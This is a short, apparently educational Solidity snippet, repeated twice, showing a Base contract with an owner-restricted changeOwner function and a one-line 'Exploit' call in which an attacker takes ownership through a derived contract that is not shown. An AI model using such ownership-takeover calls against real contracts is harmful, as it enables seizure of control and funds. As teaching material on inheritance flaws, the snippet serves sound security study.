contract Base { address public owner; modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function changeOwner(address _new) public onlyOwner { owner = _new; } }
// Exploit await derived.changeOwner(attacker, { from: attacker });
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contract Base { address public owner; modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function changeOwner(address _new) public onlyOwner { owner = _new; } }
// Exploit await derived.changeOwner(attacker, { from: attacker }); Defender 3 Inherit Code